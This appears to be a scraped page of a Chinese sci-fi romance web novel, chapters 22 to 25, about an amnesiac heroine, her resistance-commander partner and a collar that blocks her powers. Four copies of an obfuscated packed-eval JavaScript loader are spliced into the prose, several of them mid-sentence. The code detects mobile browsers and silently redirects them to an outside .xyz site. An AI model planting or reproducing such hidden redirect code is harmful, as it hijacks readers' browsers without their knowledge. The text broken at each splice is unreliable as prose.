“陆长官?”陆风眉梢挑高,“不是陆哥了?” “陆哥?” 叶眠心中暗暗吐槽,同事哥你消息不够到位,小情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895644|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侣二人转的事完全没提过啊。 陆风若有若无地“嗯”了一声,垂着眼睛捡起叶眠的浴袍系带,放在手中把玩。 “所以,叶绵绵是这么叫你的吗?”叶眠歪着头,平静地问。 “这段时间可能对你造成了一些伤害和打击,”陆风语气和缓,甚至还有点心疼,“但不至于因此否认你的过去,绵绵。” 叶眠心下有数了,嘴上却说:“可如果我忘记了很多事情呢?” 她看不清陆风的表情,但能听到他的声音:“那我就让你再想起来。” “如果我变了呢?”叶眠不依不饶,“如果我不爱你了呢?” “说什么傻话,绵绵。” 陆风露出一个无懈可击的微笑,伸手摸了摸她的侧脸。 “我说真的,陆风,”叶眠没动,认认真真地跟他说,“比如现在,我并不认为我是叶绵绵。” 陆风纵容地说:“那你是谁?” “我是叶眠。”叶眠说。 只是这一个名字,就能看出很多事情。直接改口的护士、狡辩了一下的胖子,完全无视的法蒙……每个人的反应都不一样,因为他们性格迥然。 陆风会怎么回答呢?叶眠有些期待地看着他。 “不开玩笑?” 陆风稍微坐直了一些,紧盯着叶眠这张熟悉的脸,带着点他不熟悉的神情。 “我是叶眠。”她无比认真地说。 可能在某一次呼吸的缝隙里,陆风考虑过叶绵绵从此消失的可能性,但是长久以来的习惯成了他的倚仗。 ——他对叶绵绵的信赖不会轻易动摇。 “好,叶眠,”他半是宠溺半是认真地说,“我会等到你想起作为叶绵绵的那一天。” 有救。 但不多。 叶眠放弃挣扎,闭上眼滑进被子里:“睡觉。” “不做了?”陆风看到她露在外面的半个绷带头,也气馁了,“算了。” 他把叶眠往自己怀里揽了一下,叶眠睁开眼,无情把他推开:“自己抱被子去。” 陆风预想里重逢后的翻云覆雨被叶眠轻飘飘挥散了,他委委屈屈地抱了个被子,心想总有一天要把他丢的场子找回来。 可惜,这时的他还不够了解叶眠。对她来说,别人敬我三分,我顺竿上爬五分,一旦错过了最好拿捏她的阶段,就不会再有翻身把歌唱的机会。 陆指挥多年后也感慨,自己太相信过去的情分了,因为固步自封,所以亲手放走了成长期的叶眠,就只能老老实实给她打工后半辈子。 彼时,据星际不知名野史记载:“相传初见时,陆百般蛊惑、媚眼如丝,大帝心悦于此等美目,却抱惜才之心,三顾床头而不入,故而后有十年君臣相和之美说。” 22. 第 22 章 叶眠又做梦了。 再次身处火海中,上次受到的伤害似乎已经被一键刷新,她只隐隐记得异能透支的疲惫,还有铁片划破手掌的触感。 回忆起那段誓言一般的文字,叶眠觉得有点好笑,但又有点动容——若得自由,不死不休。 难道真是我小时候写的? 猫头鹰这个代号,听起来很有她遇到困难睡大觉的风格。 叶眠站在火里一边思索,一边凝出薄薄一层低温冰覆在身上。 她给这里起名为出生点三号。 三次清醒的火灾梦,三个不同的房间。第一次的狭小一些,第二次的像是训练场,这一次则是……食堂? 空无一人但熊熊燃烧的桌椅之间,站着一个摸不着头脑的叶眠。 这到底是哪里? 是我幻想出来的地方,还是真实存在的场所? 桌椅普遍比正常规格矮上三分之一,根据叶眠目测,绝对不是给成年人坐的,不然就得蜷着身体,纯给自己找罪受。 低等教育园区? 低等教育不该有训练室摆着枪架这种东西吧? 叶眠稍微测试了一下安全圈,好消息是,这次半径扩大了二十厘米——她拥有了整整250Π方cm方的自由活动区域,虽然像是在骂她。 但坏消息是,跟似乎没有边际、没有止息的大火比起来,这个安全圈还是太小了。 她眯着眼睛往外看,似乎能从高地火焰中隐约看到打饭的窗口。 窗口高度也为了适应小孩子的身高所以压低了一些,叶眠想起在手术台上苏醒的那片刻里,火灾中的三个小孩与幼年的自己。 太真实了。 她越发确信,这里不是源自某种幻想、而是托生于自己的记忆了。 顺着这个可能性继续思考,如果这片建筑是真实存在于记忆中的,那这场大火、死在火灾里的三个孩子,是不是也都是真实发生过的? 那三个孩子……叶眠稍微皱眉,捂了捂自己胸口。 有些酸胀的情绪在涌动,很陌生,但又有些似曾相识。 挨过了那一阵不适,叶眠想:既然能找到猫头鹰的铁片,那可能还会有别的铁片藏在这片大火之下。 如果想查那三个孩子的身份,可以从他们的代号入手,说不定会有发现。 只不过,或许因为猫头鹰的铁片是自己亲手放下的,所以直觉会提醒出那个位置,而其他孩子藏铁片的位置,大概就不会这么好找了。 叶眠定了定神,抬手加厚了身上的冰层。 还能怎么办? 她又没法手动结束这场梦境,反正有这工夫,异能不练白不练。 试试再说。 新凝出的冰比旧冰温度似乎更低一些,叶眠摸了摸下巴,觉得自己实在进步神速。 不愧是我! - 在安全圈附近找了一夜,一无所获。醒来的时候,叶眠身边已经没人了。她懒洋洋地摸了摸被子,连余温都没有,陆指挥一早上就不知道干嘛去了。 看了眼终端,这才发现已经中午了,昨天睡得早,这一觉睡了得有十六七个小时,叶眠整了整松松垮垮的浴袍,伸了个懒腰。 陆指挥还算绅士,没有动手动脚,现在趁他不在,可不得好好探查一番? 打开衣柜,入目一排花衬衣,叶眠无语地翻了翻,却在衣柜后面看到了一个控制板。 她来了点兴趣,花了五分钟研究完毕,顺利启动衣柜机关。 衣柜内部稳稳旋转,第二个柜格出现——一柜子正装,黑灰蓝白,纯色衬衣按颜色整齐地码在侧面。 哇塞,奇迹陆风。 叶眠再次启动机关,第三个柜格里是各式各样的作战服,但没有配备武器。 终端震动,叶眠看了一眼。 陆风:“又在玩衣柜?” 遇到困难睡大觉:“那咋了?” 陆风:“玩玩玩,女装在第七格[笑脸]。” 遇到困难睡大觉:“是给我的,还是你平常自己穿的?” 陆风:“?” 叶眠心满意足地收了终端,调到第七格。 看衣服的码数,应该不是陆风给他自己准备的。不知道为什么心里有点可惜,叶眠摸了摸下巴。 陆风这里甚至配备了专门的化妆间,叶眠也进去兜了一圈。 各色假毛面具、束身底衣,叶眠翻了一圈,就是没看到假眼珠子。 陆风不带假眼珠子?她不由联想到他从不下脸的墨镜,稍微多想了一点——如果陆风的棕色眼珠是假的,那她应该会有点伤心。 选了顶帽子,轻快地走出房间,叶眠敲了敲102的房门。 胖子把门打开条缝,看到是她才松了口气。 “昨天没睡好?”叶眠问。 胖子喊冤:“姐,眠姐,这是反抗军大本营,跟你一个床睡的是指挥使,跟我隔壁的也不一定是什么情报贩子,很恐怖的好吧!” 叶眠倒是没觉得有什么:“陆风都说了保你平安,别怕,我们吃饭去。” 胖子立刻精神了点:“这好。” 两人踩着深色的地毯一路走到餐厅大门。 餐厅的入口标牌旁边还有一行小字:“如需乘坐电梯,请联系服务生。” 餐厅很朴素,饭菜更朴素,叶眠一言难尽地挑起一颗软趴趴的绿色椭圆形蔬菜叶:“胖子,你觉得这个好吃吗?” “油菜BHK176版,我看到菜品名下面的成分注解了,你就吃吧,一吃一个不吱声,”胖子的脸几乎要埋到饭碗里,“苦味指标降了80%,究极成功的作品。” 叶眠艰难地把菜叶塞到嘴里——监狱内的泔水饭菜打两分,它能拿个五分。 满分是一百。 “我不行了,胖子,”叶眠放下筷子,“我把你从C监捞出来是这辈子做得最正确的决定,给我整个面包吃吧,谢谢你,伟大的法格里布。” “喔喔,”胖子闭眼打了个响指,凌空一个面包落入他掌心,“边吃饭边用异能感觉像是在……” “停,嘘,”叶眠虔诚地请他闭嘴,“答应我,不要在吃饭的时候说那么影响食欲的话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895645|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 面包有点咸,但比那个烂菜叶子好吃多了。 “你家营养液会比这个好吃是吧?”感受着熟悉的麦香和稍微有点艮揪的口感,叶眠问。 “会的,”胖子又去盛了一碗饭,“不过我感觉,面包不如这个清炒油菜BHK176好吃。” “你的味蕾已经被驯化了,”叶眠教育他,然后又想起一点问题,“那你做的这个面包原料是什么?” “我家里人研究过这个问题,大概是初版小麦吧,现在早就绝迹了。”胖子无所谓地说。 “你没考虑过靠这个赚钱吗?”叶眠财思敏捷,“炒作一下,初版小麦面包,每天限量供应。” 胖子却摇了摇头:“我控制不了它的口味大小质量,过不了粮食部的食品检疫。” “粮食部?”叶眠第一次听说这个部门。 “嗯,营养液的法案也是粮食部提的,”胖子情绪低落,“伊斯坦想当粮食大臣。” 叶眠安慰他:“等我统一星系,封你为帝国第一粮食大王。” 胖子眼神逐渐变得诡异:“现在就开始安排封狼居胥?拉这么足提前量?” - 饭后叶眠屡劝无效,胖子坚定地说要回房间。 “我宁愿在房间里玩终端也不要在……”他贼眉鼠眼地瞟向左右无人,“反抗军窝子里,乱转。” “我也是反抗军啊。”叶眠理所当然地说。 胖子头摇成拨浪鼓。 “好吧。” 叶眠有些遗憾地独自上路。她找到了传说中的服务生,却发现这人跟商场那个调酒师长得一模一样。 影分身术? 人脸识别仪对着她从上到下扫过一遍:“二级权限识别通过,欢迎回家。” 调酒师面无表情地收起识别仪:“叶女士要去哪层?” “训练场,”叶眠礼貌地说,“谢谢。” 调酒师朝侧面让了让,叶眠走进他身后的电梯间。 “一路顺风。” 电梯也要……妈! 妈妈妈妈妈妈妈妈! 飓风裹挟着电梯间飞速升高,直冲电梯井!叶眠被一瞬间巨大的冲击力拍到地板上,一时站都站不起来。 等狂风止息、电梯停稳,她才艰难地直起身,拍了拍身上的土,安详地想:哈哈,你们反抗军真有意思。 可能又是谁的异能吧?整座地下基地似乎都是靠各种各样异能维持运转的,叶眠看了眼终端,陆风几分钟前说在训练场等她。 电梯打开,叶眠面对着的,是一扇同样的双开门,上面挂着同样的锁。 她摸了摸下巴,然后拿起锁,学着陆风的样子,轻弹了一下。 ——无事发生。 好吧。 “叶眠,不得不说,你失忆了似乎比失忆前更有意思了。” 门后传来陆风的闷笑,叶眠面无表情地锤了两下门,他才把门打开。 “现在信我是真失忆了?”叶眠抱着手说。 对面的陆风换了一件花衬衣,配的白色西裤,看起来人模狗样。 23. 第 23 章 “嗯,信了。”陆风笑着说。 电梯和走廊之间有一点高低差,他伸手,叶眠半点没客气,扶着他胳膊登上走廊。 “怎么想的,把基地建得跟酒店一样?”叶眠松手问。 “因为我负责的是情报,”陆风说,“情报人员之间最好不要有长期接触,酒店这种形式作为接头的地方再好不过,只要口令通过,何九就会允许进入,也不会因为登记身份暴露。” 何九,喝酒。 是那个会分身的调酒师。 “那,只有你在这长住是吧?”叶眠说完眯了眯眼,“还是总统套房。” “之后这段时间,应该是你跟我一起,”陆风一心哄她,“好不容易能呆在一起,长住不是好事吗?” 好不容易? 就看昨晚这腻歪气氛,再加上叶绵绵又是个纯恋爱脑,能怎么个“不容易”法?还不是你把人当工具使,不出任务的时候才放在身边暖床。 叶眠在心里翻了个大白眼。 “住住住,”她摆摆手,“叫我来训练场干嘛?” “试试你的环能不能取下来。”陆风伸手,食指勾住她脖子上的禁制环,眼神微动。 正要发力,叶眠毫不犹豫地拍他一爪:“有话说话,别动手动脚,这不是项圈,我也不是你家叶绵绵。” 陆风眼神瞬间清澈,他低头摸了摸浮现红印的手背,脸上露出点不可思议的神色,眉毛一竖。 “要发火?”叶眠拍了拍他梆硬的手臂,“我伤成这样从C监死里逃生都没发火,你支棱什么?” 陆风咬牙。 为了叶绵绵,他忍。 君子报仇十年不晚。 “行,”他放下手,抬步往训练场走,一边问,“能打赢刘勇,没丢人。” “丢不着你的人,”叶眠说着,语气多了点不解,“你明明什么都知道,为什么不愿意救她一把?” “她?你?” 陆风每次说到这事,每次都是语气淡淡,“三个月后指挥使轮届,这个关头不能有任何损失。我是指挥使,我有不能做的事。” 懂了。 陆指挥爱护羽毛,可以牺牲跟了自己十年的秘书,但是不能让自己手下冒一丝暴露的风险。 “我有点替叶绵绵不值。”叶眠想了想,说。 “她就是你,”陆风无动于衷,“我们的感情不会掺进别的东西。” “你们真有感情吗?”叶眠一边走一边说,“算了,就算有,她也死了。” 陆风猝然止步,她差点一头撞到他肩膀。 “别说这种话,”他沉默了一会儿,没回头,但声音很低,“明明活下来了,就不要再提好不容易逃脱的死局。” 陆风不肯承认,这种提醒给他一种很坏的感觉,就好像他真的做错了事又被人反复鞭尸一样。 对此,叶眠只能用两个词评价。 ——掩耳盗铃,猪油蒙心。 训练场很大,地面铺着是深绿色的橡胶。灯光亮到有些刺眼,场地中央有几个沙包半倒不立,旁边站了几个人。 “设备你看着用,可能小沈会过来,有问题可以找他。” 陆风已经恢复如常,二人沿着训练室的墙边走到一半多,他推开一扇没锁的门。 机房的味道扑面而来,叶眠好奇地走了进去。 巨大的显示屏占据了一整面墙壁,紧紧拼凑的操作台刚好到腰部高度。旁边立着几架1:1还原的人体模具,另一侧是几个玻璃隔间,每个隔间中的设备似乎都有所不同。 “一般他们会来这边做人体测试,或者一些电子实验,”陆风站在后面扬了扬下巴,“那边进去是工具屋,你看有什么能用的,随便用。” 如果是三代禁制环,说不定真能通过这些东西解决掉,叶眠心想,法蒙的谨慎也不无道理。 但是她带着禁制环一天,就受制于人一天,自由看似近在咫尺,实则遥不可及。 “唉,最近有没有什么暗杀典狱长的活动?”她想参加一下。 陆风讶然侧目:“法蒙继任C监典狱长没多久,边境三师还没撤退,他人在风口浪尖,安保更是几倍于平常。你对他有想法?” “嗯,想杀,”叶眠诚实地说,“C监乌烟瘴气,典狱长毫无作为,死罪当诛。” 陆风乐了半天,完全没往别的地方想:“但你能出狱,除了法格里布的活动,也得有他的首肯才行。假释比不上拉米亚纳的无罪释放,但在C监也很难得了。” 假释?原来同事哥是这么解释她脖子上的禁制环的。 工作做得不错哈。 陆风看她半天没讲话,宽慰说:“早晚能脱下来的,你可是我最得力的左右手,出门戴着禁制环算什么样子?” “不会说话可以不说,”叶眠无语地看他一眼,“这事被你说的,怎么听怎么怪。” “哼哼。”陆风挑了挑眉毛,突然伸手,一使劲就把叶眠带到身边。 “不亲,”叶眠瞬间反应,一手捂到他嘴上,冷静出声,“等你什么时候把叶绵绵哄回来再亲。” 陆风十分自信:“行。” 他松手后撤,竟然就直接走了。 叶眠摸了把额头上不存在的虚汗,心想你要是来强的,我还真不一定挡得住你。 陆风,你的绅士人设一定要维持住啊。 叶眠真诚地为他祝福。 “咦?有人?指挥刚走……我咳” 来人开口蹦了几个词,看清叶眠的脸,表情微变,瞬间把剩下的话憋了回去。 “你是……?”叶眠心想这声音似曾相识她仔仔细细地大量着来人,第三次想到那句话——你们反抗军的人真有意思。 跟陆风这种身高一米九多的壮汉不同,眼前的白大褂也就一米八几的个子,眉眼清正,不如法蒙刚毅冷漠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15895646|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不如陆风倜傥深情,但看着温和有礼,很顺眼。 介于死气沉沉打工人和阳光开朗学生仔之间的年轻人。 ……感觉陆风一拳能打八个。 叶眠快速地锐评完毕,脸上露出一个雍容和蔼的微笑。 沈舒白心里大叫孽缘怎么在这碰上,面上努力控制住五官不要乱飞,勉勉强强地挤出一个笑:“叶女士怎么也在这?” 问完他就想打自己一巴掌。 还能为什么?那根从他这送出去的禁制环还挂在人脖子上呢。 叶眠只觉得这人反应有点怪,实话实说地答:“噢,我刚从监狱假释出来,指挥让我看看能不能把禁制环摘了赶紧做事。” “哈哈确实是他的风格哈。”沈舒白干笑。 死一般的沉默延续,叶眠好奇发问:“那你是?” “哦哦哦我是小沈您叫我小沈就行,”沈舒白上前一步抓住叶眠的手,殷勤地晃了晃又立刻松开,“我在这边做实验。” “小沈,”叶眠更有兴趣了,“你跟我一个朋友长得很像欸。” 谁? 沈舒云? 你们已经是朋友了? 沈舒白心中大惊失色。 他脑筋飞转,瞬间想出一个补救办法,稍微缓了口气,殷切地说:“确实总有人说我大众脸哈哈,对了叶女士要解禁制环的话,有什么我可以帮忙的吗?” “我觉得这根环跟三代有点不同,怕是这里的工具起不到什么作用,你看有什么办法吗?”叶眠笑眯眯地说。 “有的女士有的,”沈舒白飞快点头,“您先这边坐,我连到异能测试仪上看一下指标。” 叶眠听话地由他操作,沈舒白站在她旁边,弯腰在显示屏前,十指飞舞地输入指令。 “小沈,你看起来好像有点紧张?”叶眠问,顺手从操作台一边抽了张纸,“擦擦汗?” “哈哈不用了谢谢叶女士,”沈舒白语速很快,他不敢说自己那一瞬间想起了叶绵绵送的吊坠。 叶女士的东西能接吗他哪里敢啊。 叶眠几乎没听清他的用词,她放下手,奇怪地问:“说起来,你姓沈的话,应该还有名?” “反抗军情报块不太方便透露姓名女士,”沈舒白露出一个有些苍白但坚强的微笑,“您叫我小沈就好。” 眼看叶眠还要问什么的样子,沈舒白暗自祈祷进度条快点,终于,“叮”一声,指标载入完成。 “这样女士我给您解释一下这些指标……” 沈舒白如获至宝地开始背书,叶眠眼看他额头一滴汗,划过脸颊,到下巴,半掉不掉地挂在那。 她抬手用那张纸轻抹一下,然后把纸团塞到他白大褂口袋里:“你继续说,我听着呢。” ……? 沈舒白跟被一口气噎住一样安静下去。 喉头滚动,他心中崩溃:这还让我怎么说! 24. 第 24 章 叶眠兴致盎然,心说还是跟年轻人互动有意思。沈舒白稍微调整了一下呼吸,关掉显示屏,正色道:“叶女士,我不跟您绕圈子。” 叶眠:“嗯哼?” 沈舒白:“……您佩戴的确实不是三代禁制环,是实验室没有对外公开的四代。虽然可以强行破坏,但无法保证其中致命毒素在禁制环断裂时不伤害佩戴者身体,所以我们不能在没有密钥插件的情况下拆卸。” 他语气郑重,叶眠也正经了一些:“那你的意思是?” 沈舒白眼露恳切:“分析结果显示血液中封锁抗体含量过高,我怀疑是四代环中的某种成分跟封锁抗体反应,所以导致了严重异能抵抗。” 叶眠暗自思忖:这不就是沈舒云的说法? 沈舒白哪知道沈舒云朴实地把检测报告同时发给了他们俩,还在假装这里的标准检测仪能查到这么细节的东西:“长期异能抵抗会产生无法预料的后果,如果不处理,您可能要面对永久性失去异能的危险。” 叶眠点点头,沈舒白终于说出自己的目的:“所以,如果您愿意的话,可以跟我合作。这种异能抵抗比较特殊,我正巧缺少课题应付征稿,能做出结果的话……” 叶眠懂了:“你需要我当你的小白鼠?” 沈舒白微汗,急忙解释:“珍贵研究样本可遇不可求,不一样的。” 他表情真挚里透着点紧张,但还是十分期待地看着叶眠。 叶眠想了想,问:“如果解决不了呢?” ……如果解决不了,你没异能我没命。 沈舒白眼神飘了一下,又瞬间坚定:“不会的,我有信心。” “欸话说,”叶眠不知道想到了什么,眼神一下温柔如水,“小沈啊,你需不需要第二个课题?” 沈舒白眨眼,没理解:“什么?” “比如,如何在佩戴禁制环的前提下使用异能?”叶眠比真挚的沈舒白更真情实感。 “这不合适……” 沈舒白心中疾呼:怎么能跟老姐对着干啊!这可是要沙头的死罪啊! “有什么不合适的?”叶眠循循善诱,“你想,咱们反抗军反抗的是谁?” “联盟啊。” “那异能实验室,是谁出资支持?” “联盟啊。” 叶眠一拍操作台:“对呀,所以等你研究出来了禁制环的应对策略,让陆指挥记你大大一功,这是你的责任和机会啊!” 沈舒白:? 为什么有种被威胁的感觉。 他没放弃挣扎:“太难了叶女士,实验室那么多人花了好多年才研究出禁制环,而且迭代到现在,4.0要强度有强度,要机制有机制,要颜值……”看了眼叶眠颈间的黑色choker,他老实得鼻子是鼻子、眼睛是眼睛。 “哎,”叶眠摇摇手,“话是这么说,你的难处我也理解,所以不需要你让我完全恢复自由呀。” 沈舒白:“啊?” “有能让我释放异能五分钟、十分钟的药也好,”叶眠微微一笑,“毕竟,你也不想让陆指挥知道我们私下做的事情吧?” 她原意指的是拿陆风下属当研究课题的事,不知道沈舒白想到哪里去了,顿在原地,眼神好一阵忽闪。 叶眠眯眼:嗯? “好吧,好吧,”沈舒白屈服了,“这个不能当明面上的课题,但我会看看能不能做出来靶向药物,如果做不出来……” “那我就告诉陆指挥。”叶眠接过。 沈舒白:? 忍无可忍,沈舒白勃然微怒地答应了叶眠的条件,又拉着她做了几套检查后就表示自己有事要先行撤退。 脚刚出门,终端一震,他若有所觉地微微一顿,目不斜视地继续踏步离开。 遇到困难睡大觉:“同志,陆风麾下有什么姓沈的文职吗?[笑脸]” 遇到困难睡大觉:“搞科研的,或者是医生?” 遇到困难睡大觉:“想起来了,你不是说,让我找陆风的医生问问他的眼睛吗?就是他吗?” 这边叶眠还记挂着陆风的眼睛,那边沈舒白头上冷汗都要下来了。 白干全白干:“嗯对他医生姓沈。[笑脸]” 遇到困难睡大觉:“可惜可惜,刚好错过,下次见到再问吧。” 沈舒白:别可惜了姑奶奶,你可惜一下结束了,我心惊一下午。 叶眠收了终端,走到工具屋挑挑拣拣。 冷兵器整齐地插在架子上,分门别类一应俱全。热武器大多都在能量不足状态,叶眠抽了一把电磁步枪出来,掂了掂,刚朝墙壁瞄了两下,就听门口传来陆风的声音:“还在这呢?” 她侧脸贴着枪口,轻巧一转,稳稳地瞄住了指挥使眉心,右手食指划到扳机,虚扣。 陆风双手举起做投降姿势,语气无奈:“这是干什么?沈说禁制环解不开,我特意过来安慰你。” 他一边说,一边往这边走,姿态十分放松。墨镜遮挡了他的视线,但叶眠能感受到自己被牢牢锁定,她持枪不动,身体微微绷紧。 陆风一句话用了五步,下一秒,形势突变! 叶眠根本没看清他是怎么移动的,只感受到一股巨风席卷而来,十几米外的身影已经从原地消失。她瞳孔微缩,在风中下意识眯眼,同时撤步防御,横枪身前预备格挡。 陆风从上方现身,踏出最后一步后,跟叶眠的脸之间只有二十厘米。 俯视的视角撞上叶眠黑眸,他从头到尾都没有要取她性命的意思,只是骤然消失又骤然出现,用极致的速度来到她眼前——然后握住了枪口。 “想杀我?”他语气微重,但嘴角却上扬着。 叶眠松开手,电磁枪落到陆风手中。 “如果你想报仇的话,我允许你瞄回来,”她说完就放松身体站直,表情如常,“如果还是生气的话,我允许你扣一下扳机。” 陆风掀开枪身外板,看到空空的能量槽。叶眠好整以暇地看着他的反应,他轻“啧”一声,还真举枪瞄准。 瞄准镜里叶眠要多无辜有多无辜,陆风手指扣住扳机,缓缓压下。 “砰。” ——他说。 叶眠叹了口气,从他手里重新拿回电磁枪,插回枪架:“你知不知道能量槽显示有时候会有误差?要是里面能量还够一枪,现在我脑袋就四分五裂了。” 战斗意识像刻在灵魂里一样,射程远近、多少连发、杀伤如何,摸到枪的一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919910|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,一切都涌进大脑,根本不需要她回忆思考。 “那你知不知道,玩枪要小心走火,不要拿枪口对着别人?”陆风嘴上分毫不退。 察觉叶绵绵的反常之后,他到底是比平常警惕了一些,不惜动用异能,也要把风险降到最低。 “我会走火?”叶眠反问,“你觉得我们两个谁走火的可能性更高?” “哼哼,”陆风不满,“说不定呢?” 叶眠背对着他,没转身,但脸色一下沉得像石头——陆风用的词是“说不定”,这代表了很多事情。 比如,叶绵绵的身手真的很不错,甚至,不止不错,而是顶尖。 所以,秘书? 还是,打手? “我们多久没切磋了?”她终于转身,表情自然,像是好奇一问。 “呃,”陆风思考了一下,“有几年了吧?” 几年。 叶眠琢磨着,叶绵绵跟陆风还称得上青梅竹马? “你想切磋?”他低了低头,墨镜后注视着叶眠的眼睛发亮,“也不是不行。” “不用异能的可以,用异能的不行。”叶眠立刻补充。 太作弊了,他刚刚的速度,绝对超越普通人类极限了。 “依你,”陆风露齿一笑,目的明确,“那彩头?” 叶眠麻了一下:“你,唉,算了,行吧。” 两人默契地没说透,也不知道是不是不好意思,陆风先手攻来,叶眠立刻进入状态。 陆风出招很快,叶眠摸着良心说,确实不弱。 他下盘很稳,出手每一招都有头有尾。叶眠左臂挡了他的拳,他立刻就能跟上下一掌。 叶眠侧脸被掌风扫过,她重心微移扭身避开,手肘顺势撞向陆风肋下。陆风早有防备,左臂格挡的同时,右手直直扣向她手腕。 “反应还是这么快。”他低笑一声,摸向她手腕,又被躲开。叶眠沉肩,左手击退肘部,同时腰腹发力拧转,借松劲瞬间拉开,紧接提膝,撞向陆风小腹。 陆风后撤,避开这记狠招,却被叶眠抓住机会近身,小臂上袭击中下巴,酸麻汹涌,他反手扣住她后心,呼吸稍快:“平局?” 叶眠手腕翻转锁住陆风手臂,膝盖仍抵在他腰侧。两人姿势胶着,衣料摩擦间能感受到彼此急促的心跳,她没有回避,不动声色地说:“还没结束。” 扭打到现在,位置已经偏移不少。叶眠使力旋转出一个角度,她看也不看,向后一脚,踢向冷兵武器架。 一柄长剑被击上半空,趁陆风走神瞬间,她灵活地钻出他手臂范围,反手接剑,下一秒,指向陆风鼻尖。 “现在,我有武器,你没有,”她微微挑眉,“给你个机会认输。” 陆风稍微移动,剑尖也跟着移动,叶眠摆明了不会让他靠近武器架,他无奈:“好吧。” 意料之外情理之中,叶眠回身插剑,却感受到身后之人接近带起的微风。 一道弧光划过,在陆风碰到她身体之前,剑刃已经横在了他脖子上。 “那,现在呢?”叶眠压了压剑。 金属长剑没开刃,钝钝地压在陆风颈侧,他感受到那股完全没收劲的力道,终于投降:“你赢了。” 25. 第 25 章 叶眠歪头:“真的?” 陆风无奈:“真的。” 她放下剑,冷哼一声,这才算完。 陆风抬手,叶眠眯了眯眼,下一秒,手里的剑就被阵风卷起,端端正正地插回了武器架。 “你倒是舒服。” 她猜,陆风的异能多半跟风有关,也不枉他用的这个名字。 “可怜的叶眠,”陆风摇摇头,“异能被锁,只能当个手无缚鸡之力的普通人。” “普通人刚刚赢了你,”叶眠没客气,“快到中午了,出去吃点?” “你想吃楼上美食街?” “当然不是,”叶眠无语,“陆指挥肯定知道些好吃的馆子吧。” 他们回到房间,叶眠眼睁睁看着陆风换了张老实人的方脸。除了不变的墨镜和瞳色,现在的他一身休闲服,与之前截然不同。 “出门还是得小心点,”陆风说着,扣紧了叶眠的帽子,“外面说不定还有人在找你。” “我们站一起就是最大的风险了,朋友。”叶眠说。 - 下层区有真正意义上的美食吗? ——没有。 所以陆风开上悬浮车,两人穿越宽阔的中间带,来到了上层区。 这里跟叶眠想象中的城市就没那么大差别了。 钢铁高楼林立、绿化带细节铺到门口的最后一块地砖,灌溉设施悬浮在半空,水雾折射出彩虹。 如果说下层区是黑、灰,那上层区就是完整的色谱。陆风的悬浮车落在街道上,比起周围整洁靓丽的车子,硬生生矮了一头。 似乎看出来叶眠的疑惑,陆风解释:“这里有很多人住在中间带,每天通勤来到上层区。我预约用的身份就是这样,配太好的车反而不合适。” 叶眠点头。 你买单,你说得算。 上层区也分区,从D环到C环,资质核验顺利通过,陆风等交通灯的时候随嘴说:“吃个饭我们就不进B环了,里面警哨太多。” “蒋仕临住B环吗?”叶眠忽而问。 “我忘了。”她补充说。 “前审判长啊,”陆风的语气稍微有点奇怪,咬字像是品鉴一般,“他的宅子当然在A环。如果不是你,我们很难除掉他。” “也付出了很大的代价,”叶眠中肯评价,“叶绵绵死得惨啊。” 陆风不想听这种话。 “法蒙呢?”叶眠勾走了话题,“A环?” 杀心太重,不好,但低头就能感受到禁制环的存在,叶眠笑得很和善。 “怎么这么关注他,”陆风眉头一动,手下加速,推背感闪了叶眠一下,“监狱里见过?” 她瞥他一眼,不太走心地说:“我视革命党为眼中钉肉中刺。” “别招惹他,”陆风警告说,“不是什么简单人物。” “不知道他背后站的是什么家族。”叶眠试探。 陆风没再说话。 悬浮车停下,二人走进圆柱形的巨大玻璃建筑。 “欢迎光临天空之脊,请问有预约吗?”服务生态度和善。 “路青,谢谢。”陆风说。 电梯上行,速度比反抗军基地慢了不少,稳稳托着二人上了103楼。 踏出的一瞬间,叶眠敏锐地偏了一下头。 她好像看到了一个熟悉的身影,但那身黑色军装,让她有点不敢认。 ……法蒙? 陆风自然地牵起她的手,叶眠回神,却发现这人的走姿都跟平常有些差别。 